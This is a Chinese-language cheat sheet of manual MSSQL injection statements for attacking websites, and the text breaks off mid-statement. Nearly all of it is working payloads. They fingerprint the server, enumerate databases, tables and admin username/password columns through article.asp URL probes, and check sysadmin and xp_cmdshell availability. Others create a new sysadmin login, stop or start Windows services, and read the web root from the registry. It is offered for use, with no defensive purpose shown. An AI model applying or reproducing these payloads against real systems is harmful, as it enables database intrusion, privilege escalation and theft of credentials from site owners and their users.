网站手工MSSQL注入常用SQL语句整理.doc

很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入，以下是收集的一些mssql的sql语句。 手工MSSQL注入常用SQL语句 and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..tableName为表名 and 1=(select @@VERSION) //MSSQL版本 And 1=(select db_name()) //当前数据库名 and 1=(select @@servername) //本地服务名 and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员 and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限 and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限 and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1，2，3…. ;declare @d int //是否支持多行 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判断XP_CMDSHELL是否存在 and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread扩展存储过程是不是已经被删除 添加和删除一个SA权限的用户test：（需要SA权限）exec master.dbo.sp_addlogin test,passwordexec master.dbo.sp_addsrvrolemember test,sysadmin 停掉或激活某个服务。 （需要SA权限）exec master..xp_servicecontrol ‘stop’,’schedule’exec master..xp_servicecontrol ‘start’,’schedule’ 暴网站目录create table labeng(lala nvarchar(255), id int) DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result); and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala1)—————————————————————————————————————————————————————分割 SQL Server判断是否可注射：/article.asp?id=6/article.asp?id=6′/article.asp?id=6 and 1=1/article.asp?id=6 and 1=2/article.asp?action=value’ and 1=1/article.asp?action=value’ and 1=2searchpoints%’ and 1=1searchpoints%’ and 1=2确定数据库类型：/article.asp?id=6 and user0/article.asp?id=6 and (select count(*) from sysobjects)0查询当前用户数据信息：article.asp?id=6 having 1=1–暴当前表中的列：article.asp?id=6 group by admin.username having 1=1–article.asp?id=6 group by admin.username,admin.password having 1=1–暴任意表和列：and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T orde